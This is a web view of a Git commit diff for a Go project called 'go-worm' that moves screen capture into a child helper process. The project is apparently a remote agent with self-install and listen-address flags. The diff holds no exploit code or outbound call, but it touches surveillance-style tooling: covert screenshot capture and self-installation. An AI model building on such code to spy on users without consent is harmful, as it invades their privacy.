refactor(capture): screen capture in subprocess
- Move screen capture to child process - Isolate GDI/BitBlt crashes from agent - Use -capture flag for internal helper mode - Add protocol for frame request/response - Make monitor enumeration thread-safe
This commit is contained in:
@@ -12,10 +12,12 @@ import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
@@ -39,8 +41,13 @@ func main() {
|
||||
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
||||
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
||||
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
||||
captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
|
||||
flag.Parse()
|
||||
|
||||
if *captureMode {
|
||||
os.Exit(capture.RunHelper())
|
||||
}
|
||||
|
||||
if *foreground {
|
||||
instance.AllowConsoleKill()
|
||||
instance.ShowConsole()
|
||||
|
||||
Reference in New Issue
Block a user